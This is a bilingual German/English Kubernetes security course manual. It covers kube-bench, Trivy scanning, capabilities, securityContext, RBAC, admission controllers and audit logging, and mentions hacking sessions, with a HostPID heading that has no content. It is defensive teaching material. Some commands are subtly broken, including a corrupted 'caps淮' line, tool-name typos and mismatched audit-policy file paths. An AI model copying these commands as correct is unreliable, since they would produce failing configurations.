

Kubernetes Security

Agenda

1. Vorbereitung

- [Self-Service Cluster ausrollen](#)

2. Grundlagen / Recap

- [Architektur Kubernetes](#)

3. Starting

- [The truth about security](#)
- [The architecture of Kubernetes](#)
- [Architecture DeepDive](#)
- [Layers to protect \(Security\)](#)
- [AttackVectors](#)
- [The route from development to production to secure](#)
- [Kill Chain](#)

4. Benchmarking / Security Scans

- [CIS Benchmarking Kubernetes](#)
- [Exercise: kube-bench - scanning with cis-benchmark-kubernetes](#)
- [OWASP - Top Ten Kubernetes Risks](#)

5. Scanning for outdated versions of images and helm-charts

- [Scanning for outdated versions](#)

6. Encrypting Node-to-Node traffic (wireguard with calico)

- [Securing Node-to-Node with calico and wireguard](#)

7. Checklist

- [Security Checklists](#)

8. Getting hacked

- [Why is a cluster so rewarding to hack](#)
- [Starting with Tesla](#)

9. Category 1 by Layer: OS / Kernel

- [Securing the OS and the Kernel](#)
- [Kernel Hardening Checker](#)

10. Category 2 by Layer: Cluster

- [Securing kubenet](#)
- [Least Privileges with RBAC](#)
- [Admission Controller](#)

11. Category 3 by Layer: Pods Container

- [The runAs Options in SecurityContext](#)
- [sysctls in pods/containers](#)
- [Overview capabilities](#)
- [Start pod without capabilities & how can we see this](#)
- [Hacking and exploration session HostPID](#)
- [Disable ServiceLinksEnable false \)](#)
- [Great but still alpha User Namespaces](#)
- [Use kubectl in container inClusterConfig](#)

12. Reaction

- [The Audit Logs](#)

13. Securing cluster with iptables

- [firewall Regeln festlegen für die Cluster Nodes](#)

14. RBAC

- [How does RBAC work ?](#)
- [Where does RBAC play a role ?](#)
- [kubeconfig decode certificate](#)
- [kubectl check your permission - can-i](#)
- [use kubectl in pod - default service account](#)
- [create user for kubeconfig with using certificate](#)
- Components / moving parts of RBAC
- [practical exercise rbac](#)

15. Obey Security Policies (AdmissionControllers)

- [Admission Controller](#)
- PSA (PodSecurity Admission)
- [Exercise with PSA](#)
- [OPA Gatekeeper 01-Overview](#)
- [OPA Gatekeeper 02-Install with Helm](#)
- [OPA Gatekeeper 03-Simple Exercise](#)
- [OPA Gatekeeper 04-Example-Job-Debug](#)
- [Connaisseur: Verifying images before Deployment](#)

16. Obey Security Policy (AdmissionControllers - Part II)

- [Exercise Kyverno - non-root-pod](#)

17. Pod Security

- [Automount ServiceAccounts or not ?](#)
- Does every pod need to access the kubernetes api server?

18. Unprivileged Pods/Container

- [Which images to use ?](#)
- How can i debug non-root - Container/Pods?

19. The SecurityContext

- seccomp
- privileged/unprivileged
- [appArmor example](#)
- SELinux

20. Network Policies

- Understand NetworkPolicies
- [Exercise NetworkPolicies](#)
- [CNI Benchmarks](#)

21. ServiceMesh

- [Why a ServiceMesh ?](#)
- [How does a ServiceMesh work? \(example istio\)](#)
- [istio security features](#)
- [istio-service mesh - ambient mode](#)
- [Performance comparison - baseline,sidecar,ambient](#)

22. Passwörter speichern

- [HashiCorp Vault as Password Safe](#)

23. Image Security

- [When to scan ?](#)
- [Example Image Security Scanning - using gitlab and trivy](#)

24. Hacking Sessions

- [Hacking with HostPID](#)

25. Extras

- [Canary deployment with basic kubernetes mechanisms](#)

26. Documentation

- [Great video about attacking kubernetes - older, but some stuff is still applicable](#)
- [Straight forward hacking session of kubernetes](#)
- [github with manifests for creating bad pods](#)

Vorbereitung

Self-Service Cluster ausrollen

- ausgerollt mit terraform (binary ist installiert) - snap install --classic terraform
- beinhaltet
 - 1. 1 controlplane
 - 2. 3 worker nodes
 - 3. metallb mit ip's (IP-Adressen) der Nodes (hacky but works)
 - 4. ingress mit wildcard-domain: *.lnx.do.t3isp.de

Walkthrough

- Setup takes about 6-7 minutes

```
cd  
git clone https://github.com/jmetzger/training-kubernets-monitoring-stack-do-terraform.git install  
cd install  
cat /tmp/.env  
source /tmp/.env  
terraform init  
terraform apply -auto-approve
```

Hinweis

```
## Sollte es nicht sauber durchlaufen  
## einfach nochmal  
terraform apply -auto-approve  
  
## Wenn das nicht geht, einfach nochmal neu  
terraform destroy -auto-approve  
terraform apply -auto-approve
```

Testing for ingress-nginx


- Let us find out, if svc for nginx is available

```
kubectl -n ingress-nginx get svc  
## use this url to access it through curl you should get 404  
## e.g.  
curl 46.101.239.161
```

Grundlagen / Recap

Architektur Kubernetes

Overview



Components

Master (Control Plane)

Jobs

- The master coordinates the cluster
- The master coordinates the activities in the cluster
 - scheduling of applications

- to take charge of the desired state of application
- scaling of applications
- rollout of new updates

Components of the Master

ETCD

- Persistent Storage (like a database), stores configuration and status of the cluster

KUBE-CONTROLLER-MANAGER

- In charge of making sure the desired state is achieved (done through endless loops)
- Communicates with the cluster through the kubernetes-api (kube-api-server)

KUBE-API-SERVER

- provides api-frontend for administration (no gui)
- Exposes an HTTP API (users, parts of the cluster and external components communicate with it)
- REST API

KUBE-SCHEDULER

- assigns Pods to Nodes.
- scheduler determines which Nodes are valid placements for each Pod in the scheduling queue (according to constraints and available resources)
- The scheduler then ranks each valid Node and binds the Pod to a suitable Node.
- Reference implementation (other schedulers can be used)

Nodes

- Nodes (Knoten) sind die Arbeiter (Maschinen), die Anwendungen ausführen
- Ref: <https://kubernetes.io/de/docs/concepts/architecture/nodes/>

Pod/Pods

- pods are the smallest unit you can roll out on the cluster
- a pod (basically another word for group) is a group of 1 or more containers
 - mutually used storage and network resources (all containers in the same pod can be reached with localhost)
 - They are always on the same (virtual server)

Control Plane Node (former: master) - components

Node (Minion) - components

General

- On the nodes we will rollout the applications

kubelet

Node Agent that runs on every node (worker)
its job is to download images and start containers

kube-proxy

- Runs on all of the nodes (DaemonSet)
- Is in charge of setting up the network rules in iptables for the network services
- Kube-proxy is in charge of the network communication inside of the cluster and to the outside

ref:

- <https://www.redhat.com/en/topics/containers/kubernetes-architecture>


Starting

The truth about security

- It is an ongoing process
- Kubernetes is not safe by default

The architecture of Kubernetes

Overview



Components

Master (Control Plane)

Jobs

- The master coordinates the cluster
- The master coordinates the activities in the cluster
 - scheduling of applications
 - to take charge of the desired state of application
 - scaling of applications
 - rollout of new updates

Components of the Master

ETCD

- Persistent Storage (like a database), stores configuration and status of the cluster

KUBE-CONTROLLER-MANAGER

- In charge of making sure the desired state is achieved (done through endless loops)
- Communicates with the cluster through the kubernetes-api (kube-api-server)

KUBE-API-SERVER

- provides api-frontend for administration (no gui)
- Exposes an HTTP API (users, parts of the cluster and external components communicate with it)
- REST API

KUBE-SCHEDULER

- assigns Pods to Nodes.
- scheduler determines which Nodes are valid placements for each Pod in the scheduling queue (according to constraints and available resources)
- The scheduler then ranks each valid Node and binds the Pod to a suitable Node.
- Reference implementation (other schedulers can be used)

Nodes

- Nodes (Knoten) sind die Arbeiter (Maschinen), die Anwendungen ausführen
- Ref: <https://kubernetes.io/de/docs/concepts/architecture/nodes/>

Pod/Pods

- pods are the smallest unit you can roll out on the cluster
- a pod (basically another word for group) is a group of 1 or more containers
 - mutually used storage and network resources (all containers in the same pod can be reached with localhost)
 - They are always on the same (virtual server)

Control Plane Node (former: master) - components

Node (Minion) - components

General

- On the nodes we will rollout the applications

kubelet

Node Agent that runs on every node (worker)
its job is to download images and start containers

kube-proxy

- Runs on all of the nodes (DaemonSet)
- Is in charge of setting up the network rules in iptables for the network services
- Kube-proxy is in charge of the network communication inside of the cluster and to the outside

ref:

- <https://www.redhat.com/en/topics/containers/kubernetes-architecture>

Architecture DeepDive

- <https://github.com/metzger/training-kubernetes-advanced/assets/1933318/1ca0d174-f354-43b2-81cc-67af8498b56c>


Layers to protect (Security)

Based on the 4-C - Model

- Cloud
- Cluster
- Container
- Code

But let us put it a bit further:

- OS
- Kernel



Credits: [@Leodido](#)

AttackVectors

What 3 types of attack vectors are there ?

1. External Attackers
2. Malicious containers
3. Compromised or malicious users

External Attackers

- You can have threat actors who have no access to the cluster but are able to reach the application running on it.

Malicious containers

- If a threat actor manages to breach a single container, they will attempt to increase their access and take over the entire cluster.


Compromised or malicious users

- When you're dealing with compromised accounts or malicious users, an attacker with stolen yet valid credentials will execute commands against network access and the Kubernetes API.
- Mitigation: Least Principle Policy

Reference:

- <https://www.cncf.io/blog/2021/11/08/kubernetes-main-attack-vectors-tree-an-explainer-guide/>

The route from development to production to secure




Kill Chain

Steps

1. Reconnaissance
2. Weaponization (Trojaner)
3. Delivery (wie liefern wie ihn aus ?)
4. Exploit (Sicherheitslücke ausnutzen)
5. Installation (phpshell)
6. Command & Control
7. Action/Objectives (mein Ziel)

Or better: graphical

Traditional Kill Chain Model



(Source: techtag.de)

Benchmarking / Security Scans

CIS Benchmarking Kubernetes

- <https://www.cisecurity.org/benchmark/kubernetes>

Exercise: kube-bench - scanning with cis-benchmark-kubernetes

Walkthrough

```

cd
mkdir -p manifests/kube-bench-cis
cd manifests
cd kube-bench-cis

```

```
wget https://raw.githubusercontent.com/aquasecurity/kube-bench/main/job.yaml
```

```
## nodeName in template/spec: ergänzen wie folgt
spec:
  template:
    spec:
      nodeName: k8s-w1
      containers:
        - command: ["kube-bench"]
```

```
kubectl apply -f job.yaml
kubectl get pods -o wide
## Durch Euren Pod ersetzen
## kubectl logs kube-bench-j76s9
## Oder: einfacher -> zeigt logs des 1. Pods des jobs
kubectl logs job/kube-bench
```

```
## Ausgabe
[INFO] 1 Master Node Security Configuration
[INFO] 1.1 API Server
```

```
kubectl logs job/kube-bench > report.txt
```

Beispiel für Fehlerbehebung auf Node

FAIL:

```
[FAIL] 4.1.1 Ensure that the kubelet service file permissions are set to 600 or more restrictive (Automated)
```

```
## Remediations
4.1.1 Run the below command (based on the file location on your system) on the each worker node.
For example, chmod 600 /lib/systemd/system/kubelet.service
```

Fix: Walkthrough

```
## ip - adresse ausfindig machen
kubectl get nodes -o wide | grep k8s-w1

ssh 11trainingdo@<ip-des-w1-worker-nodes>

sudo su -

find /lib -name "kubelet.service"
find /usr/lib -name "kubelet.service"

chmod -R 600 /usr/lib/systemd/system/kubelet.service*

## Zur Überprüfung ob Rechteänderung auch für kubelet.service.d/kubeadm.conf
## gut ist -> weil wieder hochfährt
systemctl restart kubelet
## ist er neu gestartet ?
systemctl status kubelet

exit
exit
```

After Fix: Walkthrough

```
kubectl delete -f job.yaml
kubectl apply -f job.yaml
kubectl logs job/kube-bench > report-afterfix.txt
diff report.txt report-afterfix.txt
```

```
[PASS] 4.1.1 Ensure that the kubelet service file permissions are set to 600 or more restrictive (Automated)
```

Reference:

- <https://hub.docker.com/r/aquasec/kube-bench>

OWASP - Top Ten Kubernetes Risks

- <https://owasp.org/www-project-kubernetes-top-ten/2022/en/src/K09-misconfigured-cluster-components>

Scanning for outdated versions of images and helm-charts

Scanning for outdated versions

Empfohlene Tools

- Trivy Operator
- [kube-version-tracker](#)
- <https://github.com/jetstack/version-checker>
- Nova: Scanning for helm - Charts: <https://nova.docs.fairwinds.com/quickstart/>

Trivvy -> speziell Trivvy Operator

```
helm repo add aqua https://aquasecurity.github.io/helm-charts/
helm repo update

helm install trivy-operator aqua/trivy-operator \
--namespace trivy-system \
--create-namespace \
--version 0.29.3
```

Vorgehen. In regelmäßigen Abständen per cronjob scannen

VulnerabilityReport werden erstellt

```
apiVersion: aquasecurity.github.io/v1alpha1
kind: VulnerabilityReport
metadata:
  name: replicaset-nginx-6d4cf56db6-nginx
  namespace: default
  labels:
    trivy-operator.container.name: nginx
    trivy-operator.resource.kind: ReplicaSet
    trivy-operator.resource.name: nginx-6d4cf56db6
    trivy-operator.resource.namespace: default
    resource-spec-hash: 7cb64cb677
  uid: 8aa1a7cb-a319-4b93-850d-5a67827dfbbf
  ownerReferences:
    - apiVersion: apps/v1
      controller: true
      kind: ReplicaSet
      name: nginx-6d4cf56db6
      uid: aa345200-cf24-443a-8f11-ddb438ff8659
report:
  artifact:
    repository: library/nginx
    tag: '1.16' # indicates this outdated version
  registry:
    server: index.docker.io
  scanner:
    name: Trivy
    vendor: Aqua Security
    version: 0.35.0
  summary:
    criticalCount: 2
    highCount: 0
    mediumCount: 0
    lowCount: 0
    unknownCount: 0
  vulnerabilities:
    - vulnerabilityID: CVE-2019-20367
      resource: libbsd0
      severity: CRITICAL
      installedVersion: 0.9.1-2
      fixedVersion: 0.9.1-2+deb10u1
      primaryLink: https://avd.aquasec.com/nvd/cve-2019-20367
      target: library/nginx:1.21.6 # indicates version where it's fixed
    - vulnerabilityID: CVE-2018-25009
      resource: libwebp6
      severity: CRITICAL
      installedVersion: 0.6.1-2
      fixedVersion: "" # no patch yet
      primaryLink: https://avd.aquasec.com/nvd/cve-2018-25009
      target: library/nginx:1.16
```

Nutzung von Trivy und kube-version-tracker

Variante 1: CronJob -

- Die entsprechende Vulnerability - Reports auswerten und dann bei incident an Ziel schicken (Slack)

```
apiVersion: batch/v1
kind: CronJob
metadata:
  name: vulnreport-check
  namespace: monitoring
spec:
  schedule: "0 7 * * *" # täglich um 07:00 Uhr
  jobTemplate:
    spec:
      template:
        spec:
          containers:
            - name: vuln-checker
              image: bitnami/kubectl:latest
              command:
                - /bin/sh
                - -c
                - |
                  echo " Kubernetes Trivy Vulnerability Summary:" > /tmp/summary.txt

                  # Alle Reports iterieren
                  for report in $(kubectl get vulnerabilityreports -A -o=jsonpath='{range .items[*]}{.metadata.namespace}{";"}{.metadata.name}{"\n"}{end}'); do
                    ns=$(echo "$report" | cut -d';' -f1)
                    name=$(echo "$report" | cut -d';' -f2)

                    # Alle CRITICAL + HIGH CVEs extrahieren
                    vulns=$(kubectl get vulnerabilityreports -n "$ns" "$name" -o=jsonpath='{range .report.vulnerabilities[?(@.severity=='CRITICAL' || @.severity=='HIGH')]}{.vulnerabilityID}{(''{.severity}'')}{'\n'}{end}'")

                    if [ ! -z "$vulns" ]; then
                      while IFS= read -r v; do
                        echo " $v in $ns/$name" >> /tmp/summary.txt
                      done <<< "$vulns"
                    fi
                  done

                  # Wenn kritische Funde vorhanden, an Slack senden
                  if [ -s /tmp/summary.txt ]; then
                    payload=$(cat /tmp/summary.txt | sed 's/"\\"/\\\"/g' | tr '\n' '\\n')
                    curl -X POST -H 'Content-type: application/json' \
                      --data "{\"text\": \"$payload\"}" "$SLACK_WEBHOOK_URL"
                  else
                    echo "Keine kritischen Sicherheitslücken gefunden."
                  fi
                env:
                  - name: SLACK_WEBHOOK_URL
                    valueFrom:
                      secretKeyRef:
                        name: slack-webhook
                        key: url
                restartPolicy: OnFailure
```

Encrypting Node-2-Node traffic (wireguard with calico)

Securing Node-2-Node with calico and wireguard

Prerequisites:

- Install calicctl as binary on client
- curl -L <https://github.com/projectcalico/calico/releases/download/v3.30.2/calicctl-linux-amd64> -o calicctl

Generally speaking:

- Calico offers an easy way to enable Wireguard within your cluster
- This comes with a performance penalty

Wireguard und Calido

- Calico installiert NICHT die wireguard-tools auf dem Server (diese wäre dann mit `wg show` nutzbar)
- .. sondern lädt nur das Kernel-Modul und macht mit den Calico-bordmitteln den Rest.

Walkthrough

```
## felixconfiguration ist nicht namespace-fähig / also global
calicoctl patch felixconfiguration default --type='merge' -p '{"spec":{"wireguardEnabled":true}}'
calicoctl get node -o yaml | grep -A 4 -B 4 wireguard
kubectl debug -it node/k8s-w1 --image=busybox -- ip addr list wireguard.cali
```

Performance Test

```
## mit wireguard
git clone http://github.com/Pharb/kubernetes-iperf3
cd kubernetes-iperf3
./iperf3.sh

## Wireguard abschalten
calicoctl patch felixconfiguration default --type='merge' -p '{"spec":{"wireguardEnabled":false}}'

## ohne wireguard
./iperf3.sh
```

Reference

- <https://www.tigera.io/blog/introducing-wireguard-encryption-with-calico/>

Checklist

Security Checklists

For containers/pods

```
Containers should not be running as root.
Containers are missing securityContext.
RBAC Protect cluster-admin ClusterRoleBindings.
Prohibit RBAC Wildcards for Verbs.
Services should not be using NodePort.
Containers should mount the root filesystem as read-only.
Containers should not share hostIPC.
Containers should not be using hostPort.
Containers should not be mounting the Docker sockets.
```

In general

- <https://github.com/krol3/kubernetes-security-checklist/>

Getting hacked

Why is a cluster so rewarding to hack

- You have lots and lots of computational power, just be hacking one cluster
- This means, you can even earn money: cryptominer can be installed

Starting with Tesla

- <https://arstechnica.com/information-technology/2018/02/tesla-cloud-resources-are-hacked-to-run-cryptocurrency-mining-malware/>

Category 1 by Layer: OS / Kernel

Securing the OS and the Kernel

Kernel

- Always patch to the newest kernel
- Be sure to restart the server (in most cases new kernel will start to get used after reboot)

Good tool for detecting great hardening kernel parameter

- Kernel hardening checker

Modules

```
## sysctl -w kernel.modules_disabled=1
kernel.modules_disabled = 1

* If possible harden your kernel, e.g.
* But of course, it is then not allowed to load modules after that isset
```

OS

- Only install the really needed software in os
 - Eventual start from a minimal image
- Close unneeded ports

OS-Patching

- Patch frequently. Eventually using unattended-upgrades

Hardening Guide

- A bit older, but has really good hints

[Telekom Hardening Guide](#)

Kernel Hardening Checker

Checker

```
https://github.com/a13xp0p0v/kernel-hardening-checker?tab=readme-ov-file

## Installation
cd /usr/src
git clone https://github.com/a13xp0p0v/kernel-hardening-checker?tab=readme-ov-file
cd kernel-hardening-checker

sudo sysctl -a > sysctl.file && ./bin/kernel-hardening-checker -c /boot/config-6.8.0-44-generic -l /proc/cmdline -s sysctl.file
```

Kernel Defence Map

- <https://github.com/a13xp0p0v/linux-kernel-defence-map>

Guidelines

- <https://gist.github.com/dante-robinson/3a2178e43009c8267ac02387633ff8ca>

Category 2 by Layer: Cluster

Securing kubelet

Breach 1: bypass admission controller

If a static Pod fails admission control, the kubelet won't register the Pod with the API server. However, the Pod still runs on the node.

- <https://kubernetes.io/docs/concepts/security/api-server-bypass-risks/>

Mitigate breach: Disable the directory for static pods on worker-nodes

- <https://kubernetes.io/docs/concepts/security/api-server-bypass-risks/#static-pods-mitigations>

```
## change the setting kubelef-config
staticPodPath: /etc/kubernetes/manifests
## -> to
staticPodPath:
```

after that:

- Log in to a kubeadm node
- Run `kubeadm upgrade node phase kubelet-config` to download the latest `kubelet-config` ConfigMap contents into the local file `/var/lib/kubelet/config.yaml`
- Edit the file `/var/lib/kubelet/kubeadm-flags.env` to apply additional configuration with flags
- Restart the kubelet service with `systemctl restart kubelet`

<https://kubernetes.io/docs/tasks/administer-cluster/kubeadm/kubeadm-reconfigure/>

- Only Enable the behaviour really needed
- <https://kubernetes.io/docs/tasks/configure-pod-container/static-pod/#static-pod-creation>

Breach 2: Allowing anonymous access to kubelet

Disabling it in anycase

- in the newer of kubeadm it is already the case
- Check with provider / installer

```
authentication:
  anonymous:
    enabled: false
```

- Log in to a kubeadm node
- Run `kubeadm upgrade node phase kubelet-config` to download the latest `kubelet-config` ConfigMap contents into the local file `/var/lib/kubelet/config.yaml`
- Edit the file `/var/lib/kubelet/kubeadm-flags.env` to apply additional configuration with flags
- Restart the kubelet service with `systemctl restart kubelet`


Least Privileges with RBAC

The least privileges principles

- Always design your pods, user and components, that they really only have the minimal principles they need
- RBAC Resources help you to do that (Service Accounts, Roles, ClusterRoles, Rolebinding, Clusterrolebindings, Groups)

Admission Controller

What does it do ? (The picture)



How do the docs describe it ?

An admission controller is a piece of code that intercepts requests to the Kubernetes API server prior to persistence of the object, but after the request is authenticated and authorized.

- intercepts request = gets all the requests and validates or changes (=mutates them)
- Reference: <https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/>

What kind of admissionControllers do we have ?

- Mutating and Validating
- There are 2 phases of the AdmissionControlProcess: First mutating, then validating

The static admissionPlugins

- There are static admissionPlugins which are activated by config
- You can see the activated like so

```
## in our system like so.
kubectl -n kube-system describe pods kube-apiserver-controlplane | grep enable-adm
--enable-admission-plugins=NodeRestriction
```

- There are some that are activated by default:

```
## in Kubernetes 1.31
CertificateApproval,
CertificateSigning,
CertificateSubjectRestriction,
DefaultIngressClass,
DefaultStorageClass,
DefaultTolerationSeconds,
LimitRanger,
MutatingAdmissionWebhook,
NamespaceLifecycle,
PersistentVolumeClaimResize,
PodSecurity,
Priority,
ResourceQuota,
RuntimeClass,
```

```
ServiceAccount,  
StorageObjectInUseProtection,  
TaintNodesByCondition,  
ValidatingAdmissionPolicy,  
ValidatingAdmissionWebhook
```

- Reference: What does which AdmissionController (= AdmissionPlugin) do ? <https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#what-does-each-admission-controller-do>

Category 3 by Layer: Pods Container

The runAs Options in SecurityContext

- Best practices. Set on level of the pod
- This also reflects containers that are started with kubectl debug (ephemeral containers)

runAsUser

- Important: UID does not need to exist in container
- Really run as specific user.
- If not set the user from Dockerfile is taken
- Recommended to set it, that will be deep defense line
 - If image has a root user or can not run as root this will fail

Exercise 1

```
cd  
mkdir -p manifests  
cd manifests  
mkdir run1  
cd run1
```

```
nano 01-pod.yaml
```

```
apiVersion: v1  
kind: Pod  
metadata:  
  name: nginxrun  
spec:  
  securityContext:  
    runAsUser: 10001  
  containers:  
  - image: nginx:1.23  
    name: pod  
  restartPolicy: Always
```

```
kubectl apply -f 01-pod.yaml  
kubectl get pods
```

```
kubectl describe pod nginxrun  
kubectl logs nginxrun
```

Lösung 1.1 Alternatives image verwenden

```
kubectl delete -f 01-pod.yaml  
  
## - image: nginx:1.23 -> durch  
- image: bitnami/nginx:1.23  
  
kubectl apply -f .
```

Exercise 2: (works)

```
cd  
mkdir -p manifests  
cd manifests  
mkdir run2  
cd run2
```

```
nano 01-pod.yaml
```

```
apiVersion: v1  
kind: Pod  
metadata:  
  name: alpinerun  
spec:
```

```
securityContext:  
  runAsUser: 10001  
containers:  
- image: alpine  
  command:  
    - sleep  
    - infinity  
  name: pod
```

```
kubectl apply -f .  
kubectl describe pod alpinerun  
kubectl exec -it alpinerun -- sh
```

```
id  
cd /proc/1/ns  
ls -la
```

runAsGroup

- Recommended to set this as well

runAsNonRoot

- Indicates that user must run as none root
- If this is not configure in the image, the start fails

sysctls in pods/containers

What ? Set kernel parameters

- set kernel params in container
- This will only be set for the namespace

Two groups

- sysctl's that are considered safe
- sysctl's that are considered unsecure (these are not enabled by default in Kubernetes)

Safe Settings

```
kernel.shm_rmid_forced;  
net.ipv4.ip_local_port_range;  
net.ipv4.tcp_syncookies;  
net.ipv4.ping_group_range (since Kubernetes 1.18);  
net.ipv4.ip_unprivileged_port_start (since Kubernetes 1.22);  
net.ipv4.ip_local_reserved_ports (since Kubernetes 1.27, needs kernel 3.16+);  
net.ipv4.tcp_keepalive_time (since Kubernetes 1.29, needs kernel 4.5+);  
net.ipv4.tcp_fin_timeout (since Kubernetes 1.29, needs kernel 4.6+);  
net.ipv4.tcp_keepalive_intvl (since Kubernetes 1.29, needs kernel 4.5+);  
net.ipv4.tcp_keepalive_probes (since Kubernetes 1.29, needs kernel
```

Exceptions from Safe Settings

```
The net.* sysctls are not allowed with host networking enabled.  
The net.ipv4.tcp_syncookies sysctl is not namespaced on Linux kernel version 4.5 or lower.
```

Example

```
apiVersion: v1  
kind: Pod  
metadata:  
  name: sysctl-example  
spec:  
  securityContext:  
    sysctls:  
    - name: kernel.shm_rmid_forced  
      value: "0"  
    - name: net.core.somaxconn  
      value: "1024"  
    - name: kernel.msgmax  
      value: "65536"
```

Overview capabilities

What are these ?

- Capabilities allow us to execute stuff, that normally only the root user can do.

Best practice for security and container/pods

- Tear capabilities down to Drop: all and set up those, that you need

As little capabilities as possible.

- Use as little capabilities as possible in your pod/container

List of capabilities

- cap_chown
- cap_dac_override
- cap_fowner
- cap_fsetid
- cap_kill
- cap_setgid
- cap_setuid
- cap_setpcap
- cap_net_bind_service
- cap_net_raw
- cap_sys_chroot
- cap_mknod
- cap_audit_write
- cap_setfcap

cap_chown

- User can chown (Change Owner without being root)

cap_dac_override

- Bypasses permission checks

cap_fowner

```
Bypass permission checks on operations that normally  
require the filesystem UID of the process to match the  
UID of the file (e.g., chmod(2), utime(2)),
```

cap_fsetid

- Safe to disable
- Not needed as we should not use setgid and setuid bits anyway

```
when creating a new folder in folder with setgid, new folder  
will have this permission as well
```

cap_kill

- Please not have this enabled.
- User is allowed to kill processes within the container

```
Bypass permission checks for sending signals  
## should not be the job of the container
```

cap_setgid

- Do not enable !

```
Allow to change GID of a process
```

cap_setuid

- makes it possible to privilege escalations

```
make arbitrary manipulations of process UID  
(setuid(2), setreuid(2), setresuid(2), setfsuid(2));
```

cap_setpcap

```
Allow user to set other process capabilities
```

cap_net_bind_service

- If you want to bind a privilege port, you will need this
- Like starting httpd on port 80

```
Security Question/Hint:  
Is there probably a better way to do this:  
e.g. Open Port 8080 -> and having the service on port 80
```

cap_net_raw

- Needed to open a raw socket
- Needed to perform ping
- There have been many vulnerabilities concerning this capability in the past e.g. [CVE-2020-14385](#)
- Warning: Do not activate it, if you really, really need this

- You can ping with a debug container if you need to

cap_sys_chroot

```
CAP_SYS_CHROOT permits the use of the chroot(2) system call. This may allow escaping of any chroot(2) environment, using known weaknesses and
```

cap_mknod

- No need to have this
- Allow to create special files under /dev

cap_audit_write

- Allow to write to kernel audit log

cap_setfcap

- Allow user to set other file capabilities

Documentation

- <https://man7.org/linux/man-pages/man7/capabilities.7.html>

Start pod without capabilities & how can we see this

Exercise 1:

```
cd
mkdir -p manifests
cd manifests
mkdir -p nocap
cd nocap
```

```
nano 01-pod.yaml
```

```
apiVersion: v1
kind: Pod
metadata:
  name: nocap-nginx
spec:
  containers:
    - name: web
      image: bitnami/nginx
      securityContext:
        capabilities:
          drop:
            - all
```

```
kubectl apply -f .
kubectl get pods
kubectl logs nocap-nginx
```

Exercise 2

```
nano 02-alpine.yaml
```

```
apiVersion: v1
kind: Pod
metadata:
  name: nocap-alpine
spec:
  containers:
    - name: web
      command:
        - sleep
        - infinity
      image: alpine
      securityContext:
        capabilities:
          drop:
            - all
```

```
kubectl apply -f .
kubectl get pods
kubectl logs nocap-alpine
kubectl exec -it nocap-alpine -- sh
```

```
ping www.google.de
wget -O - http://www.google.de
```

Lösung 2: Weitere Capabilities geben

```
nano 02-alpine.yaml
```

```
apiVersion: v1
kind: Pod
metadata:
  name: nocap-alpine
spec:
  containers:
    - name: web
      command:
        - sleep
        - infinity
      image: alpine
      securityContext:
        capabilities:
          drop:
            - all
      ## hinzufügen
      add:
        - NET_RAW
```

```
kubectl delete -f 02-alpine.yaml
kubectl apply -f .
kubectl get pods
kubectl logs nocap-alpine
kubectl exec -it nocap-alpine -- sh
```

```
apk add libcap
caps淮 --print
ping www.google.de
wget -O - http://www.google.de
```

Hacking and exploration session HostPID

Disable ServiceLinksEnable false

- https://github.com/metzger/training-kubernetes-security-en/blob/main/security/by_layer/pods-container/enableServiceLinks/disable-howto-and-why.m

Great but still alpha User Namespaces

Use kubectl in container inClusterConfig

```
kubectl create ns busybox-sa
kubectl -n busybox-sa run -it podtest --image=alpine

## in der shell
apk add kubectl
## Verwendet /var/run/secrets/kubernetes.io/serviceaccount
kubectl auth can-i get pods
kubectl get pods
```

Reaction

The Audit Logs

Hints (this is on a system, where kubernetes-api-server runs as static pod, e.g. kubeADM)

- When the config under /etc/kubernetes/manifests/kube-apiserver.yaml changes
 - kubelet automatically detects this and restarts the server
 - if there is a misconfig the pod will vanish

```
## There are 4 stages, that can be monitored:
```

- `RequestReceived` - The stage for events generated as soon as the audit handler receives the request, and before it is delegated down the handler chain.
- `ResponseStarted` - Once the response headers are sent, but before the response body is sent. This stage is only generated for long-running requests (e.g. watch).
- `ResponseComplete` - The response body has been completed and no more bytes will be sent.
- `Panic` - Events generated when a panic occurred.

Step 1: 1st -> session (on control plane): Watch kube-apiserver - pod on controlplane

```
## we want to
kubectl -n kube-system get pods -w
```

Step 2: 2nd -> session (on control plane): create a policy

```
cd /etc/kubernetes

nano audit-policy.yaml

apiVersion: audit.k8s.io/v1 # This is required.
kind: Policy
## Don't generate audit events for all requests in RequestReceived stage.
omitStages:
- "RequestReceived"
rules:
# Log pod changes at RequestResponse level
- level: RequestResponse
resources:
- group: ""
  # Resource "pods" doesn't match requests to any subresource of pods,
  # which is consistent with the RBAC policy.
  resources: ["pods"]
# Log "pods/log", "pods/status" at Metadata level
- level: Metadata
resources:
- group: ""
  resources: ["pods/log", "pods/status"]

# Don't log requests to a configmap called "controller-leader"
- level: None
resources:
- group: ""
  resources: ["configmaps"]
  resourceNames: ["controller-leader"]

# Don't log watch requests by the "system:kube-proxy" on endpoints or services
- level: None
users: ["system:kube-proxy"]
verbs: ["watch"]
resources:
- group: "" # core API group
  resources: ["endpoints", "services"]

# Don't log authenticated requests to certain non-resource URL paths.
- level: None
userGroups: ["system:authenticated"]
nonResourceURLs:
- "/api/*" # Wildcard matching.
- "/version"

# Log the request body of configmap changes in kube-system.
- level: Request
resources:
```

```

- group: "" # core API group
  resources: ["configmaps"]
# This rule only applies to resources in the "kube-system" namespace.
# The empty string "" can be used to select non-namespaced resources.
namespaces: ["kube-system"]

# Log configmap and secret changes in all other namespaces at the Metadata level.
- level: Metadata
  resources:
    - group: "" # core API group
      resources: ["secrets", "configmaps"]

# Log all other resources in core and extensions at the Request level.
- level: Request
  resources:
    - group: "" # core API group
    - group: "extensions" # Version of group should NOT be included.

# A catch-all rule to log all other requests at the Metadata level.
- level: Metadata
  # Long-running requests like watches that fall under this rule will not
  # generate an audit event in RequestReceived.
  omitStages:
    - "RequestReceived"

```

Important: You do not need to apply/create it.

Step 3: 2nd -> session: Change settings in /etc/kubernetes/manifests/kube-apiserver.yaml

```

## security copy
cp /etc/kubernetes/manifests/kube-apiserver.yaml /root

## Add lines in /etc/kubernetes/manifests/kube-apiserver.yaml
- --audit-log-path=/var/log/kubernetes/apiserver/audit/audit.log
- --audit-policy-file=/etc/kubernetes/audit-policies.yaml

## Add lines under volumeMounts
- mountPath: /etc/kubernetes/audit-policy.yaml
  name: audit
  readOnly: true
- mountPath: /var/log/kubernetes/apiserver/audit/
  name: audit-log
  readOnly: false

## Add volumes lines under volumes
- name: audit
  hostPath:
    path: /etc/kubernetes/audit-policy.yaml
    type: File

- name: audit-log
  hostPath:
